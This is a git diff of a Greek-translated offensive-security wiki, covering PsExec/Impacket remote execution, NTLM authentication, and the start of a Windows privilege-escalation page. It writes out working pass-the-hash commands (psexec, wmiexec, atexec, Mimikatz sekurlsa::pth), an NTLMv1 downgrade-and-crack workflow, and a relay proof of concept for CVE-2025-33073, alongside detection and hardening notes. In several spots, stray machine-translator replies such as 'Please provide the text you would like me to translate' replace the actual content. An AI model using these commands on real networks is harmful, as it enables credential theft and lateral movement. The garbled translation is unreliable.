εγκατάστασης/απεγκατάστασης υπηρεσίας (Το όνομα υπηρεσίας συχνά PSEXESVC εκτός αν χρησιμοποιηθεί το -r) και δημιουργεί το C:\Windows\PSEXESVC.exe κατά την εκτέλεση. -### Impacket psexec.py (Παρόμοιο με PsExec) +### Impacket psexec.py (PsExec-like) -- Χρησιμοποιεί μια ενσωματωμένη υπηρεσία παρόμοια με RemCom. Ρίχνει ένα μεταβατικό δυαδικό αρχείο υπηρεσίας (συνήθως με τυχαίο όνομα) μέσω ADMIN$, δημιουργεί μια υπηρεσία (συνήθως RemComSvc) και προξενεί I/O μέσω ενός ονομασμένου σωλήνα. +- Χρησιμοποιεί μια ενσωματωμένη υπηρεσία παρόμοια με το RemCom. Ρίχνει ένα μεταβατικό δυαδικό αρχείο υπηρεσίας (συνήθως με τυχαίο όνομα) μέσω του ADMIN$, δημιουργεί μια υπηρεσία (συνήθως RemComSvc) και προξενεί I/O μέσω ενός ονομασμένου σωλήνα. ```bash # Password auth psexec.py DOMAIN/user:Password@HOST cmd.exe @@ -116,29 +116,31 @@ cme smb HOST -u USER -H NTHASH -x "ipconfig /all" --exec-method smbexec Ιδέες κυνηγιού - Ειδοποίηση για εγκαταστάσεις υπηρεσιών όπου το ImagePath περιλαμβάνει cmd.exe /c, powershell.exe, ή TEMP τοποθεσίες. - Αναζητήστε δημιουργίες διεργασιών όπου το ParentImage είναι C:\Windows\PSEXESVC.exe ή παιδιά του services.exe που εκτελούνται ως LOCAL SYSTEM εκτελώντας κέλυφος. -- Σημειώστε ονομαστικούς σωλήνες που τελειώνουν με -stdin/-stdout/-stderr ή γνωστά ονόματα σωλήνων κλώνων του PsExec. +- Σημειώστε ονομαστικούς σωλήνες που τελειώνουν σε -stdin/-stdout/-stderr ή γνωστά ονόματα σωλήνων κλώνων του PsExec. ## Αντιμετώπιση κοινών αποτυχιών -- Η πρόσβαση απορρίπτεται (5) κατά τη δημιουργία υπηρεσιών: όχι πραγματικός τοπικός διαχειριστής, περιορισμοί UAC για τοπικούς λογαριασμούς, ή προστασία από παραχάραξη EDR στη διαδρομή δυαδικών αρχείων υπηρεσίας. -- Η διαδρομή δικτύου δεν βρέθηκε (53) ή δεν ήταν δυνατή η σύνδεση στο ADMIN$: το τείχος προστασίας μπλοκάρει SMB/RPC ή οι διαχειριστικές κοινές χρήσεις είναι απενεργοποιημένες. -- Αποτυχία Kerberos αλλά το NTLM είναι μπλοκαρισμένο: συνδεθείτε χρησιμοποιώντας το hostname/FQDN (όχι IP), διασφαλίστε σωστά SPNs, ή παρέχετε -k/-no-pass με εισιτήρια όταν χρησιμοποιείτε Impacket. -- Ο χρόνος εκκίνησης της υπηρεσίας υπερβαίνει αλλά το payload εκτελέστηκε: αναμενόμενο αν δεν είναι πραγματικό δυαδικό αρχείο υπηρεσίας; καταγράψτε την έξοδο σε ένα αρχείο ή χρησιμοποιήστε smbexec για ζωντανό I/O. +- Η πρόσβαση απορρίπτεται (5) κατά τη δημιουργία υπηρεσιών: δεν είναι πραγματικά τοπικός διαχειριστής, περιορισμοί UAC για τοπικούς λογαριασμούς, ή προστασία από παραχάραξη EDR στη διαδρομή δυαδικών αρχείων υπηρεσίας. +- Η διαδρομή δικτύου δεν βρέθηκε (53) ή δεν ήταν δυνατή η σύνδεση στο ADMIN$: το τείχος προστασίας μπλοκάρει SMB/RPC ή οι κοινές χρήσεις διαχειριστή είναι απενεργοποιημένες. +- Αποτυχία Kerberos αλλά το NTLM είναι μπλοκαρισμένο: συνδεθείτε χρησιμοποιώντας το hostname/FQDN (όχι IP), διασφαλίστε σωστά SPNs, ή παρέχετε -k/-no-pass με εισιτήρια όταν χρησιμοποιείτε το Impacket. +- Η εκκίνηση της υπηρεσίας υπερβαίνει το χρονικό όριο αλλά το payload εκτελέστηκε: αναμενόμενο αν δεν είναι πραγματικό δυαδικό αρχείο υπηρεσίας; καταγράψτε την έξοδο σε ένα αρχείο ή χρησιμοποιήστε το smbexec για ζωντανό I/O. ## Σημειώσεις σκληρύνσης -- Τα Windows 11 24H2 και Windows Server 2025 απαιτούν υπογραφή SMB από προεπιλογή για εξερχόμενες (και Windows 11 εισερχόμενες) συνδέσεις. Αυτό δεν σπάει τη νόμιμη χρήση του PsExec με έγκυρες διαπιστεύσεις αλλά αποτρέπει την κακή χρήση μη υπογεγραμμένου SMB relay και μπορεί να επηρεάσει συσκευές που δεν υποστηρίζουν την υπογραφή. -- Η νέα μπλοκαρίσματος NTLM του SMB client (Windows 11 24H2/Server 2025) μπορεί να αποτρέψει την υποχώρηση NTLM κατά τη σύνδεση μέσω IP ή σε μη-Kerberos διακομιστές. Σε σκληρυνμένα περιβάλλοντα αυτό θα σπάσει το PsExec/SMBExec που βασίζεται στο NTLM; χρησιμοποιήστε Kerberos (hostname/FQDN) ή ρυθμίστε εξαιρέσεις αν είναι νόμιμα απαραίτητο. -- Αρχή της ελάχιστης προνομίας: ελαχιστοποιήστε τη συμμετοχή τοπικών διαχειριστών, προτιμήστε Just-in-Time/Just-Enough Admin, επιβάλετε LAPS, και παρακολουθήστε/ειδοποιήστε για εγκαταστάσεις υπηρεσιών 7045. +- Τα Windows 11 24H2 και Windows Server 2025 απαιτούν υπογραφή SMB από προεπιλογή για εξερχόμενες (και Windows 11 εισερχόμενες) συνδέσεις. Αυτό δεν σπάει τη νόμιμη χρήση του PsExec με έγκυρες διαπιστεύσεις αλλά αποτρέπει την κακή χρήση μη υπογεγραμμένων SMB relay και μπορεί να επηρεάσει συσκευές που δεν υποστηρίζουν την υπογραφή. +- Η νέα μπλοκάρισμα NTLM του SMB client (Windows 11 24H2/Server 2025) μπορεί να αποτρέψει την υποχώρηση NTLM κατά τη σύνδεση μέσω IP ή σε μη-Kerberos διακομιστές. Σε σκληρυνμένα περιβάλλοντα αυτό θα σπάσει το PsExec/SMBExec που βασίζεται σε NTLM; χρησιμοποιήστε Kerberos (hostname/FQDN) ή ρυθμίστε εξαιρέσεις αν είναι νόμιμα απαραίτητο. +- Αρχή της ελάχιστης προνομίας: ελαχιστοποιήστε τη συμμετοχή τοπικών διαχειριστών, προτιμήστε Just-in-Time/Just-Enough Admin, επιβάλλετε LAPS, και παρακολουθήστε/ειδοποιήστε για εγκαταστάσεις υπηρεσιών 7045. ## Δείτε επίσης - WMI-based remote exec (συχνά πιο χωρίς αρχεία): + {{#ref}} ./wmiexec.md {{#endref}} - WinRM-based remote exec: + {{#ref}} ./winrm.md {{#endref}} diff --git a/src/windows-hardening/ntlm/README.md b/src/windows-hardening/ntlm/README.md index a2b13c672..fa9e4a500 100644 --- a/src/windows-hardening/ntlm/README.md +++ b/src/windows-hardening/ntlm/README.md @@ -2,9 +2,10 @@ {{#include ../../banners/hacktricks-training.md}} + ## Basic Information -Σε περιβάλλοντα όπου λειτουργούν **Windows XP και Server 2003**, χρησιμοποιούνται οι κατακερματισμοί LM (Lan Manager), αν και είναι ευρέως αναγνωρισμένο ότι μπορούν να παραβιαστούν εύκολα. Ένας συγκεκριμένος κατακερματισμός LM, `AAD3B435B51404EEAAD3B435B51404EE`, υποδεικνύει μια κατάσταση όπου δεν χρησιμοποιείται LM, αντιπροσωπεύοντας τον κατακερματισμό για μια κενή συμβολοσειρά. +Σε περιβάλλοντα όπου λειτουργούν οι **Windows XP και Server 2003**, χρησιμοποιούνται οι κατακερματισμοί LM (Lan Manager), αν και είναι ευρέως αναγνωρισμένο ότι μπορούν να παραβιαστούν εύκολα. Ένας συγκεκριμένος κατακερματισμός LM, `AAD3B435B51404EEAAD3B435B51404EE`, υποδεικνύει μια κατάσταση όπου δεν χρησιμοποιείται το LM, αντιπροσωπεύοντας τον κατακερματισμό για μια κενή συμβολοσειρά. Από προεπιλογή, το πρωτόκολλο αυθεντικοποίησης **Kerberos** είναι η κύρια μέθοδος που χρησιμοποιείται. Το NTLM (NT LAN Manager) εισέρχεται υπό συγκεκριμένες συνθήκες: απουσία Active Directory, μη ύπαρξη τομέα, δυσλειτουργία του Kerberos λόγω ακατάλληλης διαμόρφωσης ή όταν γίνονται προσπάθειες σύνδεσης χρησιμοποιώντας μια διεύθυνση IP αντί για έγκυρο όνομα κεντρικού υπολογιστή. @@ -15,11 +16,11 @@ **Key Points**: - Οι κατακερματισμοί LM είναι ευάλωτοι και ένας κενός κατακερματισμός LM (`AAD3B435B51404EEAAD3B435B51404EE`) υποδηλώνει την μη χρήση του. -- Το Kerberos είναι η προεπιλεγμένη μέθοδος αυθεντικοποίησης, με το NTLM να χρησιμοποιείται μόνο υπό συγκεκριμένες συνθήκες. +- Το Kerberos είναι η προεπιλεγμένη μέθοδος αυθεντικοποίησης, με το NTLM να χρησιμοποιείται μόνο υπό ορισμένες συνθήκες. - Τα πακέτα αυθεντικοποίησης NTLM είναι αναγνωρίσιμα από την κεφαλίδα "NTLMSSP". - Τα πρωτόκολλα LM, NTLMv1 και NTLMv2 υποστηρίζονται από το σύστημα αρχείο `msv1\_0.dll`. -## LM, NTLMv1 and NTLMv2 +## LM, NTLMv1 και NTLMv2 Μπορείτε να ελέγξετε και να διαμορφώσετε ποιο πρωτόκολλο θα χρησιμοποιηθεί: @@ -47,10 +48,10 @@ reg add HKLM\SYSTEM\CurrentControlSet\Control\Lsa\ /v lmcompatibilitylevel /t RE ## Basic NTLM Domain authentication Scheme 1. Ο **χρήστης** εισάγει τα **διαπιστευτήριά** του -2. Η μηχανή-πελάτης **στέλνει ένα αίτημα αυθεντικοποίησης** στέλνοντας το **όνομα τομέα** και το **όνομα χρήστη** +2. Η πελάτης μηχανή **στέλνει ένα αίτημα αυθεντικοποίησης** στέλνοντας το **όνομα τομέα** και το **όνομα χρήστη** 3. Ο **διακομιστής** στέλνει την **πρόκληση** 4. Ο **πελάτης κρυπτογραφεί** την **πρόκληση** χρησιμοποιώντας το hash του κωδικού πρόσβασης ως κλειδί και την στέλνει ως απάντηση -5. Ο **διακομιστής στέλνει** στον **Ελεγκτή τομέα** το **όνομα τομέα, το όνομα χρήστη, την πρόκληση και την απάντηση**. Αν **δεν υπάρχει** ρυθμισμένο Active Directory ή το όνομα τομέα είναι το όνομα του διακομιστή, τα διαπιστευτήρια **ελέγχονται τοπικά**. +5. Ο **διακομιστής στέλνει** στον **Ελεγκτή τομέα** το **όνομα τομέα, το όνομα χρήστη, την πρόκληση και την απάντηση**. Αν **δεν υπάρχει** ενεργός κατάλογος (Active Directory) ή το όνομα τομέα είναι το όνομα του διακομιστή, τα διαπιστευτήρια ελέγχονται **τοπικά**. 6. Ο **ελεγκτής τομέα ελέγχει αν όλα είναι σωστά** και στέλνει τις πληροφορίες στον διακομιστή Ο **διακομιστής** και ο **Ελεγκτής Τομέα** είναι σε θέση να δημιουργήσουν ένα **Ασφαλές Κανάλι** μέσω του διακομιστή **Netlogon** καθώς ο Ελεγκτής Τομέα γνωρίζει τον κωδικό πρόσβασης του διακομιστή (είναι μέσα στη βάση δεδομένων **NTDS.DIT**). @@ -63,7 +64,7 @@ reg add HKLM\SYSTEM\CurrentControlSet\Control\Lsa\ /v lmcompatibilitylevel /t RE Το **μήκος της πρόκλησης είναι 8 bytes** και η **απάντηση είναι 24 bytes**. -Το **hash NT (16bytes)** χωρίζεται σε **3 μέρη των 7bytes το καθένα** (7B + 7B + (2B+0x00\*5)): το **τελευταίο μέρος γεμίζει με μηδενικά**. Στη συνέχεια, η **πρόκληση** κρυπτογραφείται **χωριστά** με κάθε μέρος και τα **αποτελέσματα** των κρυπτογραφημένων bytes **ενώνονται**. Σύνολο: 8B + 8B + 8B = 24Bytes. +Το **hash NT (16bytes)** χωρίζεται σε **3 μέρη των 7bytes το καθένα** (7B + 7B + (2B+0x00\*5)): το **τελευταίο μέρος γεμίζει με μηδενικά**. Στη συνέχεια, η **πρόκληση** κρυπτογραφείται **χωριστά** με κάθε μέρος και τα **αποτελέσματα** κρυπτογραφημένων bytes **ενώνονται**. Σύνολο: 8B + 8B + 8B = 24Bytes. **Προβλήματα**: @@ -71,17 +72,17 @@ reg add HKLM\SYSTEM\CurrentControlSet\Control\Lsa\ /v lmcompatibilitylevel /t RE - Τα 3 μέρη μπορούν να **επιτεθούν ξεχωριστά** για να βρουν το NT hash - **DES είναι σπαστό** - Το 3ο κλειδί αποτελείται πάντα από **5 μηδενικά**. -- Δεδομένης της **ίδιας πρόκλησης**, η **απάντηση** θα είναι **ίδια**. Έτσι, μπορείτε να δώσετε ως **πρόκληση** στο θύμα τη συμβολοσειρά "**1122334455667788**" και να επιτεθείτε στην απάντηση χρησιμοποιώντας **προϋπολογισμένα rainbow tables**. +- Δεδομένη η **ίδια πρόκληση**, η **απάντηση** θα είναι **ίδια**. Έτσι, μπορείτε να δώσετε ως **πρόκληση** στο θύμα τη συμβολοσειρά "**1122334455667788**" και να επιτεθείτε στην απάντηση χρησιμοποιώντας **προϋπολογισμένα rainbow tables**. ### NTLMv1 attack -Σήμερα γίνεται όλο και λιγότερο συνηθισμένο να βρίσκονται περιβάλλοντα με ρυθμισμένη Unconstrained Delegation, αλλά αυτό δεν σημαίνει ότι δεν μπορείτε να **καταχραστείτε μια υπηρεσία Print Spooler** που είναι ρυθμισμένη. +Σήμερα γίνεται όλο και λιγότερο συνηθισμένο να βρίσκονται περιβάλλοντα με ρυθμισμένη Απεριόριστη Αντιπροσώπευση, αλλά αυτό δεν σημαίνει ότι δεν μπορείτε να **καταχραστείτε μια υπηρεσία Print Spooler** που είναι ρυθμισμένη. -Μπορείτε να καταχραστείτε κάποια διαπιστευτήρια/συνδέσεις που ήδη έχετε στο AD για να **ζητήσετε από τον εκτυπωτή να αυθεντικοποιηθεί** έναντι κάποιου **host υπό τον έλεγχό σας**. Στη συνέχεια, χρησιμοποιώντας `metasploit auxiliary/server/capture/smb` ή `responder` μπορείτε να **ρυθμίσετε την πρόκληση αυθεντικοποίησης σε 1122334455667788**, να καταγράψετε την προσπάθεια αυθεντικοποίησης, και αν έγινε χρησιμοποιώντας **NTLMv1** θα μπορείτε να την **σπάσετε**.\ +Μπορείτε να καταχραστείτε κάποια διαπιστευτήρια/συνδέσεις που ήδη έχετε στον AD για να **ζητήσετε από τον εκτυπωτή να αυθεντικοποιηθεί** κατά ενός **host υπό τον έλεγχό σας**. Στη συνέχεια, χρησιμοποιώντας `metasploit auxiliary/server/capture/smb` ή `responder` μπορείτε να **ρυθμίσετε την πρόκληση αυθεντικοποίησης σε 1122334455667788**, να καταγράψετε την προσπάθεια αυθεντικοποίησης, και αν έγινε χρησιμοποιώντας **NTLMv1** θα μπορείτε να **το σπάσετε**.\ Αν χρησιμοποιείτε `responder` μπορείτε να προσπαθήσετε να **χρησιμοποιήσετε τη σημαία `--lm`** για να προσπαθήσετε να **υποβαθμίσετε** την **αυθεντικοποίηση**.\ _Σημειώστε ότι για αυτή την τεχνική η αυθεντικοποίηση πρέπει να πραγματοποιηθεί χρησιμοποιώντας NTLMv1 (το NTLMv2 δεν είναι έγκυρο)._ -Θυμηθείτε ότι ο εκτυπωτής θα χρησιμοποιήσει τον λογαριασμό υπολογιστή κατά την αυθεντικοποίηση, και οι λογαριασμοί υπολογιστή χρησιμοποιούν **μακριούς και τυχαίους κωδικούς πρόσβασης** που πιθανώς δεν θα μπορείτε να σπάσετε χρησιμοποιώντας κοινά **λεξικά**. Αλλά η **αυθεντικοποίηση NTLMv1** **χρησιμοποιεί DES** ([περισσότερες πληροφορίες εδώ](#ntlmv1-challenge)), οπότε χρησιμοποιώντας κάποιες υπηρεσίες ειδικά αφιερωμένες στην κρυπτογράφηση DES θα μπορείτε να την σπάσετε (μπορείτε να χρησιμοποιήσετε [https://crack.sh/](https://crack.sh) ή [https://ntlmv1.com/](https://ntlmv1.com) για παράδειγμα). +Θυμηθείτε ότι ο εκτυπωτής θα χρησιμοποιήσει τον λογαριασμό υπολογιστή κατά την αυθεντικοποίηση, και οι λογαριασμοί υπολογιστή χρησιμοποιούν **μακριά και τυχαία κωδικά πρόσβασης** που πιθανώς **δεν θα μπορείτε να σπάσετε** χρησιμοποιώντας κοινά **λεξικά**. Αλλά η **αυθεντικοποίηση NTLMv1** **χρησιμοποιεί DES** ([περισσότερες πληροφορίες εδώ](#ntlmv1-challenge)), οπότε χρησιμοποιώντας κάποιες υπηρεσίες ειδικά αφιερωμένες στο σπάσιμο του DES θα μπορείτε να το σπάσετε (μπορείτε να χρησιμοποιήσετε [https://crack.sh/](https://crack.sh) ή [https://ntlmv1.com/](https://ntlmv1.com) για παράδειγμα). ### NTLMv1 attack with hashcat @@ -91,7 +92,7 @@ _Σημειώστε ότι για αυτή την τεχνική η αυθεντ ```bash python3 ntlmv1.py --ntlmv1 hashcat::DUSTIN-5AA37877:76365E2D142B5612980C67D057EB9EFEEE5EF6EB6FF6E04D:727B4E35F947129EA52B9CDEDAE86934BB23EF89F50FC595:1122334455667788 ``` -Sure, please provide the text you would like me to translate. +Please provide the text you would like me to translate. ```bash ['hashcat', '', 'DUSTIN-5AA37877', '76365E2D142B5612980C67D057EB9EFEEE5EF6EB6FF6E04D', '727B4E35F947129EA52B9CDEDAE86934BB23EF89F50FC595', '1122334455667788'] @@ -143,13 +144,13 @@ b4b9b02e6f09a9 # this is part 1 ./hashcat-utils/src/deskey_to_ntlm.pl bcba83e6895b9d bd760f388b6700 # this is part 2 ``` -I'm sorry, but I need the specific text you want translated in order to assist you. Please provide the content you would like me to translate to Greek. +I'm sorry, but I need the specific text you would like me to translate. Please provide the content you want translated to Greek. ```bash ./hashcat-utils/src/ct3_to_ntlm.bin BB23EF89F50FC595 1122334455667788 586c # this is the last part ``` -I'm sorry, but I need the specific text you would like me to translate in order to assist you. Please provide the content you want translated. +I'm sorry, but I need the specific text you want translated in order to assist you. Please provide the content you would like me to translate to Greek. ```bash NTHASH=b4b9b02e6f09a9bd760f388b6700586c ``` @@ -157,9 +158,9 @@ NTHASH=b4b9b02e6f09a9bd760f388b6700586c Το **μήκος της πρόκλησης είναι 8 bytes** και **αποστέλλονται 2 απαντήσεις**: Μία είναι **24 bytes** και το μήκος της **άλλης** είναι **μεταβλητό**. -**Η πρώτη απάντηση** δημιουργείται κρυπτογραφώντας χρησιμοποιώντας **HMAC_MD5** τη **σειρά** που αποτελείται από τον **πελάτη και το domain** και χρησιμοποιώντας ως **κλειδί** το **hash MD4** του **NT hash**. Στη συνέχεια, το **αποτέλεσμα** θα χρησιμοποιηθεί ως **κλειδί** για να κρυπτογραφήσει χρησιμοποιώντας **HMAC_MD5** την **πρόκληση**. Σε αυτό, **θα προστεθεί μια πρόκληση πελάτη 8 bytes**. Σύνολο: 24 B. +**Η πρώτη απάντηση** δημιουργείται κρυπτογραφώντας χρησιμοποιώντας **HMAC_MD5** τη **σειρά** που αποτελείται από τον **πελάτη και το domain** και χρησιμοποιώντας ως **κλειδί** το **hash MD4** του **NT hash**. Στη συνέχεια, το **αποτέλεσμα** θα χρησιμοποιηθεί ως **κλειδί** για να κρυπτογραφηθεί χρησιμοποιώντας **HMAC_MD5** την **πρόκληση**. Σε αυτό, **θα προστεθεί μια πρόκληση πελάτη 8 bytes**. Σύνολο: 24 B. -Η **δεύτερη απάντηση** δημιουργείται χρησιμοποιώντας **διάφορες τιμές** (μια νέα πρόκληση πελάτη, ένα **timestamp** για να αποφευχθούν οι **επανεκτελέσεις**...) +Η **δεύτερη απάντηση** δημιουργείται χρησιμοποιώντας **διάφορες τιμές** (μια νέα πρόκληση πελάτη, ένα **timestamp** για να αποφευχθούν οι **επανειλημμένες επιθέσεις**...) Αν έχετε ένα **pcap που έχει καταγράψει μια επιτυχημένη διαδικασία αυθεντικοποίησης**, μπορείτε να ακολουθήσετε αυτόν τον οδηγό για να αποκτήσετε το domain, το username, την πρόκληση και την απάντηση και να προσπαθήσετε να σπάσετε τον κωδικό: [https://research.801labs.org/cracking-an-ntlmv2-hash/](https://www.801labs.org/research-portal/post/cracking-an-ntlmv2-hash/) @@ -176,7 +177,7 @@ NTHASH=b4b9b02e6f09a9bd760f388b6700586c ```bash Invoke-Mimikatz -Command '"sekurlsa::pth /user:username /domain:domain.tld /ntlm:NTLMhash /run:powershell.exe"' ``` -Αυτό θα εκκινήσει μια διαδικασία που θα ανήκει στους χρήστες που έχουν εκκινήσει το mimikatz, αλλά εσωτερικά στο LSASS, τα αποθηκευμένα διαπιστευτήρια είναι αυτά που βρίσκονται μέσα στις παραμέτρους του mimikatz. Στη συνέχεια, μπορείτε να έχετε πρόσβαση σε πόρους δικτύου σαν να ήσασταν αυτός ο χρήστης (παρόμοιο με το κόλπο `runas /netonly`, αλλά δεν χρειάζεται να γνωρίζετε τον κωδικό πρόσβασης σε απλή μορφή). +Αυτό θα εκκινήσει μια διαδικασία που θα ανήκει στους χρήστες που έχουν εκκινήσει το mimikatz, αλλά εσωτερικά στο LSASS οι αποθηκευμένες διαπιστεύσεις είναι αυτές που βρίσκονται μέσα στις παραμέτρους του mimikatz. Στη συνέχεια, μπορείτε να έχετε πρόσβαση σε πόρους δικτύου σαν να ήσασταν αυτός ο χρήστης (παρόμοιο με το κόλπο `runas /netonly`, αλλά δεν χρειάζεται να γνωρίζετε τον κωδικό πρόσβασης σε απλή μορφή). ### Pass-the-Hash από linux @@ -190,7 +191,7 @@ Invoke-Mimikatz -Command '"sekurlsa::pth /user:username /domain:domain.tld /ntlm - **psexec_windows.exe** `C:\AD\MyTools\psexec_windows.exe -hashes ":b38ff50264b74508085d82c69794a4d8" svcadmin@dcorp-mgmt.my.domain.local` - **wmiexec.exe** `wmiexec_windows.exe -hashes ":b38ff50264b74508085d82c69794a4d8" svcadmin@dcorp-mgmt.dollarcorp.moneycorp.local` - **atexec.exe** (Σε αυτή την περίπτωση πρέπει να καθορίσετε μια εντολή, το cmd.exe και το powershell.exe δεν είναι έγκυρα για να αποκτήσετε μια διαδραστική κονσόλα)`C:\AD\MyTools\atexec_windows.exe -hashes ":b38ff50264b74508085d82c69794a4d8" svcadmin@dcorp-mgmt.dollarcorp.moneycorp.local 'whoami'` -- Υπάρχουν αρκετά ακόμα binaries του Impacket... +- Υπάρχουν αρκετά ακόμα Impacket binaries... ### Invoke-TheHash @@ -230,6 +231,7 @@ wce.exe -s ::: ``` ### Manual Windows remote execution with username and password + {{#ref}} ../lateral-movement/ {{#endref}} @@ -244,9 +246,9 @@ wce.exe -s ::: Αφού συλλάβει αυτές τις απαντήσεις NetNTLMv1, ο επιτιθέμενος μπορεί γρήγορα να ανακτήσει τα αρχικά NTLM hashes χρησιμοποιώντας **προϋπολογισμένα rainbow tables**, επιτρέποντας περαιτέρω επιθέσεις Pass-the-Hash για πλευρική κίνηση. Είναι κρίσιμο ότι η Επίθεση Εσωτερικού Μονολόγου παραμένει κρυφή επειδή δεν παράγει δίκτυο κίνησης, δεν εισάγει κώδικα ή δεν ενεργοποιεί άμεσες εκφορτώσεις μνήμης, καθιστώντας την πιο δύσκολη για τους υπερασπιστές να ανιχνεύσουν σε σύγκριση με παραδοσιακές μεθόδους όπως το Mimikatz. -Εάν το NetNTLMv1 δεν γίνει αποδεκτό—λόγω επιβαλλόμενων πολιτικών ασφάλειας, τότε ο επιτιθέμενος μπορεί να αποτύχει να ανακτήσει μια απάντηση NetNTLMv1. +Εάν το NetNTLMv1 δεν γίνει αποδεκτό—λόγω επιβαλλόμενων πολιτικών ασφαλείας, τότε ο επιτιθέμενος μπορεί να αποτύχει να ανακτήσει μια απάντηση NetNTLMv1. -Για να χειριστεί αυτή την περίπτωση, το εργαλείο Internal Monologue ενημερώθηκε: Αποκτά δυναμικά ένα token διακομιστή χρησιμοποιώντας `AcceptSecurityContext()` για να **συλλάβει απαντήσεις NetNTLMv2** εάν αποτύχει το NetNTLMv1. Ενώ το NetNTLMv2 είναι πολύ πιο δύσκολο να σπάσει, ανοίγει ακόμα ένα μονοπάτι για επιθέσεις relay ή offline brute-force σε περιορισμένες περιπτώσεις. +Για να χειριστεί αυτή την περίπτωση, το εργαλείο Internal Monologue ενημερώθηκε: Αποκτά δυναμικά ένα token διακομιστή χρησιμοποιώντας `AcceptSecurityContext()` για να **συλλάβει απαντήσεις NetNTLMv2** εάν αποτύχει το NetNTLMv1. Ενώ το NetNTLMv2 είναι πολύ πιο δύσκολο να σπάσει, ανοίγει ακόμα ένα μονοπάτι για επιθέσεις αναμετάδοσης ή offline brute-force σε περιορισμένες περιπτώσεις. Η PoC μπορεί να βρεθεί στο **[https://github.com/eladshamir/Internal-Monologue](https://github.com/eladshamir/Internal-Monologue)**. @@ -254,6 +256,7 @@ wce.exe -s ::: **Διαβάστε έναν πιο λεπτομερή οδηγό για το πώς να εκτελέσετε αυτές τις επιθέσεις εδώ:** + {{#ref}} ../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md {{#endref}} @@ -274,8 +277,8 @@ wce.exe -s ::: 2. Το θύμα αναγκάζεται να πιστοποιηθεί σε αυτό το όνομα κεντρικού υπολογιστή (PetitPotam, DFSCoerce, κ.λπ.). 3. Όταν ο πελάτης SMB περνά τη συμβολοσειρά στόχου `cifs/srv11UWhRCAAAAA…` στο `lsasrv!LsapCheckMarshalledTargetInfo`, η κλήση στο `CredUnmarshalTargetInfo` **αφαιρεί** το σειριοποιημένο blob, αφήνοντας **`cifs/srv1`**. 4. `msv1_0!SspIsTargetLocalhost` (ή το αντίστοιχο Kerberos) τώρα θεωρεί ότι ο στόχος είναι *localhost* επειδή το σύντομο μέρος του host ταιριάζει με το όνομα υπολογιστή (`SRV1`). -5. Κατά συνέπεια, ο διακομιστής ρυθμίζει το `NTLMSSP_NEGOTIATE_LOCAL_CALL` και εισάγει **το access-token SYSTEM του LSASS** στο πλαίσιο (για το Kerberos δημιουργείται ένα υποκλειδί υποσυστήματος με σήμανση SYSTEM). -6. Η αναμετάδοση αυτής της πιστοποίησης με το `ntlmrelayx.py` **ή** το `krbrelayx.py` δίνει πλήρη δικαιώματα SYSTEM στον ίδιο host. +5. Κατά συνέπεια, ο διακομιστής ρυθμίζει το `NTLMSSP_NEGOTIATE_LOCAL_CALL` και εισάγει **το access-token SYSTEM του LSASS** στο πλαίσιο (για το Kerberos δημιουργείται ένα κλειδί υποσυστήματος με σήμανση SYSTEM). +6. Η αναμετάδοση αυτής της πιστοποίησης με `ntlmrelayx.py` **ή** `krbrelayx.py` δίνει πλήρη δικαιώματα SYSTEM στον ίδιο host. ### Quick PoC ```bash @@ -296,13 +299,13 @@ krbrelayx.py -t TARGET.DOMAIN.LOCAL -smb2support ``` ### Patch & Mitigations * Το KB patch για **CVE-2025-33073** προσθέτει έναν έλεγχο στο `mrxsmb.sys::SmbCeCreateSrvCall` που μπλοκάρει οποιαδήποτε SMB σύνδεση της οποίας ο στόχος περιέχει μαρσαρισμένες πληροφορίες (`CredUnmarshalTargetInfo` ≠ `STATUS_INVALID_PARAMETER`). -* Εφαρμόστε **SMB signing** για να αποτρέψετε την αντανάκλαση ακόμη και σε μη ενημερωμένους διακομιστές. -* Παρακολουθήστε τις εγγραφές DNS που μοιάζουν με `*...*` και μπλοκάρετε τους συνδυασμούς καταναγκασμού (PetitPotam, DFSCoerce, AuthIP...). +* Εφαρμόστε **SMB signing** για να αποτρέψετε την αντανάκλαση ακόμη και σε μη ενημερωμένους hosts. +* Παρακολουθήστε τα DNS records που μοιάζουν με `*...*` και μπλοκάρετε τους συνδυασμούς coercion (PetitPotam, DFSCoerce, AuthIP...). ### Detection ideas -* Δίκτυα καταγραφών με `NTLMSSP_NEGOTIATE_LOCAL_CALL` όπου η IP του πελάτη ≠ η IP του διακομιστή. -* Kerberos AP-REQ που περιέχει ένα κλειδί υποσυστήματος και έναν πελάτη principal ίσο με το όνομα του διακομιστή. -* Windows Event 4624/4648 SYSTEM logons που ακολουθούνται αμέσως από απομακρυσμένες SMB εγγραφές από τον ίδιο διακομιστή. +* Δίκτυα captures με `NTLMSSP_NEGOTIATE_LOCAL_CALL` όπου το IP του πελάτη ≠ το IP του server. +* Kerberos AP-REQ που περιέχει ένα κλειδί υποσυστήματος και έναν πελάτη principal ίσο με το hostname. +* Windows Event 4624/4648 SYSTEM logons που ακολουθούνται αμέσως από απομακρυσμένες SMB εγγραφές από τον ίδιο host. ## References * [NTLM Reflection is Dead, Long Live NTLM Reflection!](https://www.synacktiv.com/en/publications/la-reflexion-ntlm-est-morte-vive-la-reflexion-ntlm-analyse-approfondie-de-la-cve-2025.html) diff --git a/src/windows-hardening/windows-local-privilege-escalation/README.md b/src/windows-hardening/windows-local-privilege-escalation/README.md index 786d47a23..6073f3283 100644 --- a/src/windows-hardening/windows-local-privilege-escalation/README.md +++ b/src/windows-hardening/windows-local-privilege-escalation/README.md @@ -10,6 +10,7 @@ **Αν δεν ξέρετε τι είναι τα Διακριτικά Πρόσβασης Windows, διαβάστε την παρακάτω σελίδα πριν συνεχίσετε:** + {{#ref}} access-tokens.md {{#endref}} @@ -18,6 +19,7 @@ access-tokens.md **Δείτε την παρακάτω σελίδα για περισσότερες πληροφορίες σχετικά με τα ACLs - DACLs/SACLs/ACEs:** + {{#ref}} acls-dacls-sacls-aces.md {{#endref}} @@ -26,6 +28,7 @@ acls-dacls-sacls-aces.md **Αν δεν ξέρετε τι είναι τα επίπεδα ακεραιότητας στα Windows, θα πρέπει να διαβάσετε την παρακάτω σελίδα πριν συνεχίσετε:** + {{#ref}} integrity-levels.md {{#endref}} @@ -34,6 +37,7 @@ integrity-levels.md Υπάρχουν διάφορα πράγματα στα Windows που θα μπορούσαν να **σας εμποδίσουν να καταγράψετε το σύστημα**, να εκτελέσετε εκτελέσιμα ή ακόμα και να **ανιχνεύσουν τις δραστηριότητές σας**. Πρέπει να **διαβάσετε** την παρακάτω **σελίδα** και να **καταγράψετε** όλους αυτούς τους **μηχανισμούς** 